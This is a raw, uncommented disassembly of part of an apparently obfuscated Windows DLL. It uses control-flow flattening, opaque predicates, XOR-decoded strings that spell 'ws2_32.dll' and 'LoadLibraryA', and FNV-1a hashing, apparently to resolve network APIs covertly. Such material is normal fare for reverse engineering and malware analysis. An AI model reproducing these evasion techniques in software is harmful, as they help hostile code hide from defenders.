mov rax, qword [rsp + 0xc0]
mov byte [rax + 1], 0
lea rcx, [rsp + 0xd0]
call fcn.18002b360
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r15d, 0x9302de66
mov ecx, 0x7343bfbc
cmove r15d, ecx
mov r8d, 0x181b9de8
cmove r8d, ecx
mov r12d, 0x28ad3f39
mov r9d, 0xfe90a09c
mov r10d, 0x1dd0b01
mov r11d, 0x5cca55f5
mov r14d, 0xfb306983
jmp 0x180022ea0
mov edx, dword [rsp + 0x40]
mov rdx, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc0]
mov edx, dword [rsp + 0x28]
mov edx, dword [rsp + 0x28]
mov edx, dword [rsp + 0x28]
mov edx, dword [rsp + 0x28]
mov edx, dword [rsp + 0x28]
mov edx, dword [rsp + 0x28]
mov r12d, 0x181b9de8
nop
cmp r12d, 0xfe90a09b
jle 0x180022f10
cmp r12d, 0x333d8297
jle 0x180022f60
cmp r12d, 0x5cca55f4
jg 0x180022fdf
cmp r12d, 0x333d8298
je 0x1800230a6
cmp r12d, 0x33ec62ab
je 0x1800230ba
cmp r12d, 0x42d422e5
jne 0x180022ea0
mov dword [rsp + 0x30], ebx
mov edi, dword [rsp + 0x30]
movsx edi, byte [rax + rdi]
mov dword [rsp + 0x60], edi
mov edi, dword [rsp + 0x60]
cmp edi, 0x20
mov r12d, 0xbb6ed30e
cmovge r12d, r14d
jmp 0x180022ea0
cmp r12d, 0xc5fd57a7
jle 0x180022fa0
cmp r12d, 0xeb000b68
jg 0x180023013
cmp r12d, 0xc5fd57a8
je 0x1800230c9
cmp r12d, 0xd1e81d16
je 0x1800230d5
cmp r12d, 0xd597d4ff
jne 0x180022ea0
mov r12d, 0x42d422e5
mov ebx, dword [rsp + 0x4c]
jmp 0x180022ea0
cmp r12d, 0x12a1b9d7
jle 0x180023044
cmp r12d, 0x12a1b9d8
je 0x1800230e9
cmp r12d, 0x181b9de8
je 0x180023100
cmp r12d, 0x28ad3f39
jne 0x180022ea0
mov r12d, 0x73f80f82
jmp 0x180022ea0
cmp r12d, 0xb163ad29
jle 0x180023075
cmp r12d, 0xb163ad2a
je 0x180023136
cmp r12d, 0xb9d33223
je 0x180023160
cmp r12d, 0xbb6ed30e
jne 0x180022ea0
mov r12d, 0x12a1b9d8
jmp 0x180022ea0
cmp r12d, 0x5cca55f5
je 0x18002316f
cmp r12d, 0x7343bfbc
je 0x180022e64
cmp r12d, 0x73f80f82
jne 0x180022ea0
mov r12d, 0x42d422e5
xor ebx, ebx
jmp 0x180022ea0
cmp r12d, 0xeb000b69
je 0x180023185
cmp r12d, 0xfb306983
jne 0x1800231ed
mov edi, dword [rsp + 0x60]
cmp edi, 0x7f
setl byte [rsp + 0x5e]
mov r12d, 0x333d8298
jmp 0x180022ea0
cmp r12d, 0xfe90a09c
je 0x1800231a7
cmp r12d, 0x1dd0b01
jne 0x180022ea0
mov edx, dword [rsp + 0x48]
cmp edx, 0x5b
setl byte [rsp + 0x64]
mov r12d, 0xd1e81d16
jmp 0x180022ea0
cmp r12d, 0x87cbc1a8
je 0x1800231d6
cmp r12d, 0x9302de66
jne 0x180022ea0
mov rcx, qword [rsp + 0x90]
mov r12d, 0xb163ad2a
mov ebp, dword [rsp + 0x38]
jmp 0x180022ea0
cmp byte [rsp + 0x5e], 0
mov r12d, 0xbb6ed30e
cmovne r12d, r11d
jmp 0x180022ea0
mov r12d, 0xc5fd57a8
mov esi, dword [rsp + 0x24]
jmp 0x180022ea0
mov dword [rsp + 0x40], esi
mov r12d, r8d
jmp 0x180022ea0
cmp byte [rsp + 0x64], 0
mov r12d, 0xb9d33223
cmovne r12d, r9d
jmp 0x180022ea0
mov r12d, 0xb163ad2a
xor ebp, ebp
movabs rcx, 0xcbf29ce484222325
jmp 0x180022ea0
movsxd rdx, dword [rsp + 0x40]
xor rdx, qword [rsp + 0xc0]
movabs rdi, 0x100000001b3
imul rdx, rdi
mov qword [rsp + 0x90], rdx
mov edx, dword [rsp + 0x28]
add edx, 1
mov dword [rsp + 0x38], edx
mov r12d, r15d
jmp 0x180022ea0
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0xc0], rcx
mov edi, dword [rsp + 0x30]
mov edx, dword [rsp + 0x28]
cmp edx, edi
mov r12d, 0xf6d6bd87
mov edx, 0x87cbc1a8
cmovb r12d, edx
jmp 0x180022ea0
mov r12d, 0xc5fd57a8
mov esi, dword [rsp + 0x48]
jmp 0x180022ea0
mov edi, dword [rsp + 0x30]
add edi, 1
mov dword [rsp + 0x4c], edi
mov r12d, 0xd597d4ff
jmp 0x180022ea0
mov rdx, qword [rsp + 0x50]
movsx edx, byte [rdx]
mov dword [rsp + 0x48], edx
mov edx, dword [rsp + 0x48]
cmp edx, 0x41
mov r12d, 0xb9d33223
cmovge r12d, r10d
jmp 0x180022ea0
mov edx, dword [rsp + 0x48]
mov edi, edx
and edi, 0x72963832
or edi, 0x8d414380
and edx, 0x8d69c7ed
xor edx, edi
xor edx, 0x8d4143a0
mov dword [rsp + 0x24], edx
mov r12d, 0x33ec62ab
jmp 0x180022ea0
mov edx, dword [rsp + 0x28]
add rdx, rax
mov qword [rsp + 0x50], rdx
mov r12d, 0xeb000b69
jmp 0x180022ea0
cmp r12d, 0xf6d6bd87
jne 0x180022ea0
mov rcx, qword [rsp + 0xc0]
call fcn.1800e9be0
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x30], r13
mov rax, qword [rsp + 0x30]
mov byte [rax], 0x42
mov rsi, qword [rsp + 0x30]
mov rcx, r13
mov dl, 0x75
call fcn.180095c70
mov byte [rsi + 1], al
add rsi, 2
mov qword [rsp + 0x28], rsi
mov eax, 0x14b02539
mov r12d, 0xd84d4ce1
mov r15d, 0x68007193
mov ebp, 0x620ba263
mov edi, 0xc9b7840c
jmp 0x180023280
mov eax, dword [0x180129538]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3340d8f
cmove eax, r15d
cmp dword [0x18012953c], 0xa
cmovl eax, r15d
nop word [rax + rax]
cmp eax, 0x268ac10
jg 0x1800232c0
cmp eax, 0xc9b7840b
jle 0x180023320
cmp eax, 0xc9b7840c
je 0x180023254
cmp eax, 0xd84d4ce1
je 0x1800233f3
cmp eax, 0xe3340d8f
jne 0x180023280
mov eax, 0xc9b7840c
jmp 0x180023280
cmp eax, 0x620ba262
jle 0x180023360
cmp eax, 0x620ba263
je 0x18002345e
cmp eax, 0x6330c7a1
jne 0x1800234bb
mov rax, qword [rsp + 0x40]
movzx ecx, byte [rsp + 0x38]
mov byte [rax], cl
mov rsi, qword [rsp + 0x40]
mov rcx, r13
mov dl, 0x6c
call fcn.180095c70
mov byte [rsi + 1], al
mov rcx, r13
mov dl, 0x6c
call fcn.180095c70
mov byte [rsi + 2], al
mov rax, qword [rsp + 0x30]
mov eax, 0xd84d4ce1
jmp 0x180023280
cmp eax, 0xb779e723
je 0x18002346d
cmp eax, 0xbcdf19ee
jne 0x180023280
mov byte [rbx], 0
add rbx, 1
cmp rbx, qword [rsp + 0x90]
mov eax, 0xbcdf19ee
mov ecx, 0x268ac11
cmove eax, ecx
jmp 0x180023280
cmp eax, 0x268ac11
je 0x180023495
cmp eax, 0x14b02539
jne 0x180023280
mov rcx, r13
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.180095c70
mov rcx, qword [rsp + 0x28]
mov byte [rcx], al
mov r14, qword [rsp + 0x28]
mov rcx, r13
mov dl, 0x65
call fcn.180095c70
mov byte [r14 + 1], al
mov rcx, r13
mov dl, WSAStartup
call fcn.180095c70
mov byte [r14 + 2], al
mov rcx, r13
mov dl, 0x33
call fcn.180095c70
mov byte [r14 + 3], al
mov rcx, r13
mov dl, 0x32
call fcn.180095c70
mov byte [r14 + 4], al
mov rcx, r13
mov dl, 0x2e
call fcn.180095c70
mov byte [r14 + 5], al
add r14, 6
mov qword [rsp + 0x40], r14
mov rcx, r13
mov dl, 0x64
call fcn.180095c70
mov byte [rsp + 0x38], al
mov eax, 0xb779e723
jmp 0x180023280
mov rax, qword [rsp + 0x40]
movzx ecx, byte [rsp + 0x38]
mov byte [rax], cl
mov rsi, qword [rsp + 0x40]
mov rcx, r13
mov dl, 0x6c
call fcn.180095c70
mov byte [rsi + 1], al
mov rcx, r13
mov dl, 0x6c
call fcn.180095c70
mov byte [rsi + 2], al
add rsi, 3
mov qword [rsp + 0x50], rsi
mov rax, qword [rsp + 0x30]
add rax, 0xc
mov qword [rsp + 0x90], rax
mov eax, dword [0x180129538]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6330c7a1
cmove eax, ebp
cmp dword [0x18012953c], 0xa
cmovl eax, ebp
jmp 0x180023280
mov eax, 0xbcdf19ee
mov rbx, qword [rsp + 0x50]
jmp 0x180023280
mov eax, dword [0x180129538]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6330c7a1
cmove eax, r12d
cmp dword [0x18012953c], 0xa
cmovl eax, r12d
jmp 0x180023280
mov eax, dword [0x180129538]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3340d8f
cmove eax, edi
cmp dword [0x18012953c], 0xa
cmovl eax, edi
jmp 0x180023280
cmp eax, 0x68007193
jne 0x180023280
lea rcx, [rsp + 0xc0]
call fcn.18002b700
mov rcx, rax
call qword [rsp + 0x88]
lea r13, [rsp + 0xb0]
mov qword [rsp + 0x68], r13
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x28], r13
mov rax, qword [rsp + 0x28]
mov byte [rax], 0x23
mov rcx, qword [rsp + 0x28]
mov eax, dword [0x180129988]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x18012998c], 0xa
setl dl
or dl, al
mov ebx, 0x7b4b1528
mov eax, 0x421c6ceb
cmove ebx, eax
mov ebp, 0xcfd5a871
cmove ebp, eax
mov eax, 0x9a6925eb
nop dword [rax]
cmp eax, 0xf4016426
je 0x1800235e7
cmp eax, 0x9a6925eb
jne 0x180023540
mov qword [rsp + 0xd0], r13
mov edx, 0x5ac88103
nop
cmp edx, 0x421c6cea
jle 0x180023590
cmp edx, 0x421c6ceb
je 0x1800235a2
cmp edx, 0x5ac88103
je 0x1800235b1
cmp edx, 0x7b4b1528
jne 0x180023560
mov edx, 0xb5db12b
jmp 0x180023560
cmp edx, 0xcfd5a871
je 0x1800235b5
cmp edx, 0xb5db12b
jne 0x180023560
jmp 0x1800235cb
mov rax, qword [rsp + 0xd0]
mov edx, 0xcfd5a871
jmp 0x180023560
mov edx, ebp
jmp 0x180023560
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x90], al
mov edx, ebx
jmp 0x180023560
movsx eax, byte [rsp + 0x90]
xor eax, 0x4c
mov dword [rsp + 0xc0], eax
mov eax, 0xf4016426
jmp 0x180023540
mov eax, dword [rsp + 0xc0]
mov byte [rcx + 1], al
mov eax, dword [0x180129988]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x18012998c], 0xa
setl dl
or dl, al
mov ebx, 0x7b4b1528
mov eax, 0x421c6ceb
cmove ebx, eax
mov ebp, 0xcfd5a871
cmove ebp, eax
mov eax, 0x9a6925eb
nop dword [rax]
cmp eax, 0xf4016426
je 0x1800236d7
cmp eax, 0x9a6925eb
jne 0x180023630
mov qword [rsp + 0xd0], r13
mov edx, 0x5ac88103
nop
cmp edx, 0x421c6cea
jle 0x180023680
cmp edx, 0x421c6ceb
je 0x180023692
cmp edx, 0x5ac88103
je 0x1800236a1
cmp edx, 0x7b4b1528
jne 0x180023650
mov edx, 0xb5db12b
jmp 0x180023650
cmp edx, 0xcfd5a871
je 0x1800236a5
cmp edx, 0xb5db12b
jne 0x180023650
jmp 0x1800236bb
mov rax, qword [rsp + 0xd0]
mov edx, 0xcfd5a871
jmp 0x180023650
mov edx, ebp
jmp 0x180023650
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x90], al
mov edx, ebx
jmp 0x180023650
movsx eax, byte [rsp + 0x90]
xor eax, 0x6f
mov dword [rsp + 0xc0], eax
mov eax, 0xf4016426
jmp 0x180023630
mov eax, dword [rsp + 0xc0]
mov byte [rcx + 2], al
mov eax, dword [0x180129988]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x18012998c], 0xa
setl dl
or dl, al
mov ebx, 0x7b4b1528
mov eax, 0x421c6ceb
cmove ebx, eax
mov ebp, 0xcfd5a871
cmove ebp, eax
mov eax, 0x9a6925eb
nop dword [rax]
cmp eax, 0xf4016426
je 0x1800237c7
cmp eax, 0x9a6925eb
jne 0x180023720
mov qword [rsp + 0xd0], r13
mov edx, 0x5ac88103
nop
cmp edx, 0x421c6cea
jle 0x180023770
cmp edx, 0x421c6ceb
je 0x180023782
cmp edx, 0x5ac88103
je 0x180023791
cmp edx, 0x7b4b1528
jne 0x180023740
mov edx, 0xb5db12b
jmp 0x180023740
cmp edx, 0xcfd5a871
je 0x180023795
cmp edx, 0xb5db12b
jne 0x180023740
jmp 0x1800237ab
mov rax, qword [rsp + 0xd0]
mov edx, 0xcfd5a871
jmp 0x180023740
mov edx, ebp
jmp 0x180023740
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x90], al
mov edx, ebx
jmp 0x180023740
movsx eax, byte [rsp + 0x90]
xor eax, 0x61
mov dword [rsp + 0xc0], eax
mov eax, 0xf4016426
jmp 0x180023720
mov eax, dword [rsp + 0xc0]
mov byte [rcx + 3], al
mov eax, dword [0x180129988]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x18012998c], 0xa
setl dl
or dl, al
mov ebx, 0x7b4b1528
mov eax, 0x421c6ceb
cmove ebx, eax
mov ebp, 0xcfd5a871
cmove ebp, eax
mov eax, 0x9a6925eb
nop dword [rax]
cmp eax, 0xf4016426
je 0x1800238b7
cmp eax, 0x9a6925eb
jne 0x180023810
mov qword [rsp + 0xd0], r13
mov edx, 0x5ac88103
nop
cmp edx, 0x421c6cea
jle 0x180023860
cmp edx, 0x421c6ceb
je 0x180023872
cmp edx, 0x5ac88103
je 0x180023881
cmp edx, 0x7b4b1528
jne 0x180023830
mov edx, 0xb5db12b
jmp 0x180023830
cmp edx, 0xcfd5a871
je 0x180023885
cmp edx, 0xb5db12b
jne 0x180023830
jmp 0x18002389b
mov rax, qword [rsp + 0xd0]
mov edx, 0xcfd5a871
jmp 0x180023830
mov edx, ebp
jmp 0x180023830
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x90], al
mov edx, ebx
jmp 0x180023830
movsx eax, byte [rsp + 0x90]
xor eax, 0x64
mov dword [rsp + 0xc0], eax
mov eax, 0xf4016426
jmp 0x180023810
mov eax, dword [rsp + 0xc0]
mov byte [rcx + 4], al
mov eax, 0x9a6925eb
nop word cs:[rax + rax]
cmp eax, 0xf4016426
je 0x180023977
cmp eax, 0x9a6925eb
jne 0x1800238d0
mov qword [rsp + 0xd0], r13
mov edx, 0x5ac88103
nop
cmp edx, 0x421c6cea
jle 0x180023920
cmp edx, 0x421c6ceb
je 0x180023932
cmp edx, 0x5ac88103
je 0x180023941
cmp edx, 0x7b4b1528
jne 0x1800238f0
mov edx, 0xb5db12b
jmp 0x1800238f0
cmp edx, 0xcfd5a871
je 0x180023945
cmp edx, 0xb5db12b
jne 0x1800238f0
jmp 0x18002395b
mov rax, qword [rsp + 0xd0]
mov edx, 0xcfd5a871
jmp 0x1800238f0
mov edx, ebp
jmp 0x1800238f0
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x90], al
mov edx, ebx
jmp 0x1800238f0
movsx eax, byte [rsp + 0x90]
xor eax, 0x4c
mov dword [rsp + 0xc0], eax
mov eax, 0xf4016426
jmp 0x1800238d0
mov eax, dword [rsp + 0xc0]
mov byte [rcx + 5], al
mov eax, 0x9a6925eb
nop word cs:[rax + rax]
cmp eax, 0xf4016426
je 0x180023a37
cmp eax, 0x9a6925eb
jne 0x180023990
mov qword [rsp + 0xd0], r13
mov edx, 0x5ac88103
nop
cmp edx, 0x421c6cea
jle 0x1800239e0
cmp edx, 0x421c6ceb
je 0x1800239f2
cmp edx, 0x5ac88103
je 0x180023a01
cmp edx, 0x7b4b1528
jne 0x1800239b0
mov edx, 0xb5db12b
jmp 0x1800239b0
cmp edx, 0xcfd5a871
je 0x180023a05
cmp edx, 0xb5db12b
jne 0x1800239b0
jmp 0x180023a1b
mov rax, qword [rsp + 0xd0]
mov edx, 0xcfd5a871
jmp 0x1800239b0
mov edx, ebp
jmp 0x1800239b0
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x90], al
mov edx, ebx
jmp 0x1800239b0
movsx eax, byte [rsp + 0x90]
xor eax, 0x69
mov dword [rsp + 0xc0], eax
mov eax, 0xf4016426
jmp 0x180023990
mov eax, dword [rsp + 0xc0]
mov byte [rcx + 6], al
mov eax, 0x9a6925eb
nop word cs:[rax + rax]
cmp eax, 0xf4016426
je 0x180023af7
cmp eax, 0x9a6925eb
jne 0x180023a50
mov qword [rsp + 0xd0], r13
mov edx, 0x5ac88103
nop
cmp edx, 0x421c6cea
jle 0x180023aa0
cmp edx, 0x421c6ceb
je 0x180023ab2
cmp edx, 0x5ac88103
je 0x180023ac1
cmp edx, 0x7b4b1528
jne 0x180023a70
mov edx, 0xb5db12b
jmp 0x180023a70
cmp edx, 0xcfd5a871
je 0x180023ac5
cmp edx, 0xb5db12b
jne 0x180023a70
jmp 0x180023adb
mov rax, qword [rsp + 0xd0]
mov edx, 0xcfd5a871
jmp 0x180023a70
mov edx, ebp
jmp 0x180023a70
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x90], al
mov edx, ebx
jmp 0x180023a70
movsx eax, byte [rsp + 0x90]
xor eax, 0x62
mov dword [rsp + 0xc0], eax
mov eax, 0xf4016426
jmp 0x180023a50
mov eax, dword [rsp + 0xc0]
mov byte [rcx + 7], al
mov eax, 0x9a6925eb
nop word cs:[rax + rax]
cmp eax, 0xf4016426
je 0x180023bb7
cmp eax, 0x9a6925eb
jne 0x180023b10
mov qword [rsp + 0xd0], r13
mov edx, 0x5ac88103
nop
cmp edx, 0x421c6cea
jle 0x180023b60
cmp edx, 0x421c6ceb
je 0x180023b72
cmp edx, 0x5ac88103
je 0x180023b81
cmp edx, 0x7b4b1528
jne 0x180023b30
mov edx, 0xb5db12b
jmp 0x180023b30
cmp edx, 0xcfd5a871
je 0x180023b85
cmp edx, 0xb5db12b
jne 0x180023b30
jmp 0x180023b9b
mov rax, qword [rsp + 0xd0]
mov edx, 0xcfd5a871
jmp 0x180023b30
mov edx, ebp
jmp 0x180023b30
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x90], al
mov edx, ebx
jmp 0x180023b30
movsx eax, byte [rsp + 0x90]
xor eax, 0x72
mov dword [rsp + 0xc0], eax
mov eax, 0xf4016426
jmp 0x180023b10
mov eax, dword [rsp + 0xc0]
mov byte [rcx + 8], al
add rcx, 9
mov qword [rsp + 0x40], rcx
mov eax, 0x9a6925eb
nop
cmp eax, 0xf4016426
je 0x180023c77
cmp eax, 0x9a6925eb
jne 0x180023bd0
mov qword [rsp + 0xd0], r13
mov ecx, 0x5ac88103
nop
cmp ecx, 0x421c6cea
jle 0x180023c20
cmp ecx, 0x421c6ceb
je 0x180023c32
cmp ecx, 0x5ac88103
je 0x180023c41
cmp ecx, 0x7b4b1528
jne 0x180023bf0
mov ecx, 0xb5db12b
jmp 0x180023bf0
cmp ecx, 0xcfd5a871
je 0x180023c45
cmp ecx, 0xb5db12b
jne 0x180023bf0
jmp 0x180023c5b
mov rax, qword [rsp + 0xd0]
mov ecx, 0xcfd5a871
jmp 0x180023bf0
mov ecx, ebp
jmp 0x180023bf0
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x90], al
mov ecx, ebx
jmp 0x180023bf0
movsx eax, byte [rsp + 0x90]
xor eax, 0x61
mov dword [rsp + 0xc0], eax
mov eax, 0xf4016426
jmp 0x180023bd0
mov eax, dword [rsp + 0xc0]
mov byte [rsp + 0x24], al
mov edi, 0x1a7a3a92
mov r9d, 0x3713ea2a
mov edx, 0x7b4b1528
mov ebp, 0xcfd5a871
mov r8d, 0x8d65edd9
mov r10d, 0x41e34487
mov r11d, 0x3440d739
mov r14d, 0x70c48f4d
mov r15d, 0x863da0cf
mov r12d, 0x3ccabe41
jmp 0x180023cd0
mov eax, dword [rsp + 0x30]
mov byte [rdi + 1], al
mov rax, qword [rsp + 0x28]
mov edi, 0x3440d739
nop
cmp edi, 0x3440d738
jg 0x180023d10
cmp edi, 0x16ab6725
jg 0x180023d40
cmp edi, 0xa23de5d5
jle 0x180023dc6
cmp edi, 0xa23de5d6
je 0x180023dfa
cmp edi, 0xb65eec98
jne 0x180023cd0
mov edi, 0x3713ea2a
jmp 0x180023cd0
cmp edi, 0x41e34486
jg 0x180023d90
cmp edi, 0x3440d739
je 0x180023ecc
cmp edi, 0x3713ea2a
je 0x180023f9c
cmp edi, 0x3ccabe41
jne 0x180023cd0
mov edi, 0x1ea6b530
jmp 0x180023cd0
cmp edi, 0x16ab6726
je 0x180023fc4
cmp edi, 0x1a7a3a92
je 0x180023fe1
cmp edi, 0x1ea6b530
jne 0x180023cd0
mov eax, dword [0x180129548]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0xa23de5d6
cmove edi, r11d
cmp dword [0x18012954c], 0xa
cmovl edi, r11d
jmp 0x180023cd0
cmp edi, 0x41e34487
je 0x180024009
cmp edi, 0x5a2dded8
je 0x1800240fe
cmp edi, 0x70c48f4d
jne 0x180023cd0
mov edi, 0x16ab6726
mov rbx, qword [rsp + 0x90]
jmp 0x180023cd0
cmp edi, 0x8d65edd9
jne 0x180024441
mov eax, dword [0x180129548]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0xb65eec98
cmove edi, r9d
cmp dword [0x18012954c], 0xa
cmovl edi, r9d
jmp 0x180023cd0
mov eax, dword [0x180129988]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012998c], 0xa
setl cl
or cl, al
mov ecx, 0x421c6ceb
cmovne ecx, edx
mov esi, 0x421c6ceb
cmovne esi, ebp
mov eax, 0x9a6925eb
nop dword [rax]
cmp eax, 0xf4016426
je 0x1800241ec
cmp eax, 0x9a6925eb
jne 0x180023e30
mov qword [rsp + 0xd0], r13
mov eax, 0x5ac88103
nop
cmp eax, 0x421c6cea
jle 0x180023e80
cmp eax, 0x421c6ceb
je 0x180023e90
cmp eax, 0x5ac88103
je 0x180023e9f
cmp eax, 0x7b4b1528
jne 0x180023e50
mov eax, 0xb5db12b
jmp 0x180023e50
cmp eax, 0xcfd5a871
je 0x180023ea3
cmp eax, 0xb5db12b
jne 0x180023e50
jmp 0x180023eb6
mov rax, qword [rsp + 0xd0]
mov eax, 0xcfd5a871
jmp 0x180023e50
mov eax, esi
jmp 0x180023e50
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x38], al
mov eax, ecx
jmp 0x180023e50
movsx eax, byte [rsp + 0x38]
xor eax, 0x79
mov dword [rsp + 0x30], eax
mov eax, 0xf4016426
jmp 0x180023e30
mov eax, dword [0x180129988]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012998c], 0xa
setl cl
or cl, al
mov ecx, 0x421c6ceb
cmovne ecx, edx
mov esi, 0x421c6ceb
cmovne esi, ebp
mov eax, 0x9a6925eb
nop
cmp eax, 0xf4016426
je 0x1800242cc
cmp eax, 0x9a6925eb
jne 0x180023f00
mov qword [rsp + 0xd0], r13
mov eax, 0x5ac88103
nop
cmp eax, 0x421c6cea
jle 0x180023f50
cmp eax, 0x421c6ceb
je 0x180023f60
cmp eax, 0x5ac88103
je 0x180023f6f
cmp eax, 0x7b4b1528
jne 0x180023f20
mov eax, 0xb5db12b
jmp 0x180023f20
cmp eax, 0xcfd5a871
je 0x180023f73
cmp eax, 0xb5db12b
jne 0x180023f20
jmp 0x180023f86
mov rax, qword [rsp + 0xd0]
mov eax, 0xcfd5a871
jmp 0x180023f20
mov eax, esi
jmp 0x180023f20
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x38], al
mov eax, ecx
jmp 0x180023f20
movsx eax, byte [rsp + 0x38]
xor eax, 0x79
mov dword [rsp + 0x30], eax
mov eax, 0xf4016426
jmp 0x180023f00
mov eax, dword [0x180129548]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0xb65eec98
cmove edi, r15d
cmp dword [0x18012954c], 0xa
cmovl edi, r15d
jmp 0x180023cd0
mov byte [rbx], 0
add rbx, 1
cmp rbx, qword [rsp + 0xc0]
mov edi, 0x16ab6726
cmove edi, r8d
jmp 0x180023cd0
mov eax, dword [0x180129548]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edi, 0x5a2dded8
cmove edi, r10d
cmp dword [0x18012954c], 0xa
cmovl edi, r10d
jmp 0x180023cd0
mov rax, qword [rsp + 0x40]
mov cl, byte [rsp + 0x24]
mov byte [rax], cl
mov rdi, qword [rsp + 0x40]
mov eax, dword [0x180129988]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012998c], 0xa
setl cl
or cl, al
mov eax, 0x421c6ceb
cmovne eax, edx
mov esi, 0x421c6ceb
cmovne esi, ebp
mov ecx, 0x9a6925eb
nop dword [rax]
cmp ecx, 0xf4016426
je 0x1800243ac
cmp ecx, 0x9a6925eb
jne 0x180024050
mov qword [rsp + 0xd0], r13
mov ecx, 0x5ac88103
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x421c6cea
jle 0x1800240b0
cmp ecx, 0x421c6ceb
je 0x1800240c2
cmp ecx, 0x5ac88103
je 0x1800240d1
cmp ecx, 0x7b4b1528
jne 0x180024080
mov ecx, 0xb5db12b
jmp 0x180024080
cmp ecx, 0xcfd5a871
je 0x1800240d5
cmp ecx, 0xb5db12b
jne 0x180024080
jmp 0x1800240e8
mov rcx, qword [rsp + 0xd0]
mov ecx, 0xcfd5a871
jmp 0x180024080
mov ecx, esi
jmp 0x180024080
mov rcx, qword [rsp + 0xd0]
movzx ecx, byte [rcx]
mov byte [rsp + 0x38], cl
mov ecx, eax
jmp 0x180024080
movsx ecx, byte [rsp + 0x38]
xor ecx, 0x72
mov dword [rsp + 0x30], ecx
mov ecx, 0xf4016426
jmp 0x180024050
mov rax, qword [rsp + 0x40]
mov cl, byte [rsp + 0x24]
mov byte [rax], cl
mov rdi, qword [rsp + 0x40]
mov eax, dword [0x180129988]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012998c], 0xa
setl cl
or cl, al
mov ecx, 0x421c6ceb
cmovne ecx, edx
mov esi, 0x421c6ceb
cmovne esi, ebp
mov eax, 0x9a6925eb
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0xf4016426
je 0x1800243e4
cmp eax, 0x9a6925eb
jne 0x180024150
mov qword [rsp + 0xd0], r13
mov eax, 0x5ac88103
nop
cmp eax, 0x421c6cea
jle 0x1800241a0
cmp eax, 0x421c6ceb
je 0x1800241b0
cmp eax, 0x5ac88103
je 0x1800241bf
cmp eax, 0x7b4b1528
jne 0x180024170
mov eax, 0xb5db12b
jmp 0x180024170
cmp eax, 0xcfd5a871
je 0x1800241c3
cmp eax, 0xb5db12b
jne 0x180024170
jmp 0x1800241d6
mov rax, qword [rsp + 0xd0]
mov eax, 0xcfd5a871
jmp 0x180024170
mov eax, esi
jmp 0x180024170
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x38], al
mov eax, ecx
jmp 0x180024170
movsx eax, byte [rsp + 0x38]
xor eax, 0x72
mov dword [rsp + 0x30], eax
mov eax, 0xf4016426
jmp 0x180024150
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x50]
mov byte [rcx], al
mov rdi, qword [rsp + 0x50]
mov eax, dword [0x180129988]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012998c], 0xa
setl cl
or cl, al
mov ecx, 0x421c6ceb
cmovne ecx, edx
mov esi, 0x421c6ceb
cmovne esi, ebp
mov eax, 0x9a6925eb
nop
cmp eax, 0xf4016426
je 0x180023cbd
cmp eax, 0x9a6925eb
jne 0x180024230
mov qword [rsp + 0xd0], r13
mov eax, 0x5ac88103
nop
cmp eax, 0x421c6cea
jle 0x180024280
cmp eax, 0x421c6ceb
je 0x180024290
cmp eax, 0x5ac88103
je 0x18002429f
cmp eax, 0x7b4b1528
jne 0x180024250
mov eax, 0xb5db12b
jmp 0x180024250
cmp eax, 0xcfd5a871
je 0x1800242a3
cmp eax, 0xb5db12b
jne 0x180024250
jmp 0x1800242b6
mov rax, qword [rsp + 0xd0]
mov eax, 0xcfd5a871
jmp 0x180024250
mov eax, esi
jmp 0x180024250
mov rax, qword [rsp + 0xd0]
movzx eax, byte [rax]
mov byte [rsp + 0x38], al
mov eax, ecx
jmp 0x180024250
movsx eax, byte [rsp + 0x38]
xor eax, 0x41
mov dword [rsp + 0x30], eax
mov eax, 0xf4016426
jmp 0x180024230
mov eax, dword [rsp + 0x30]
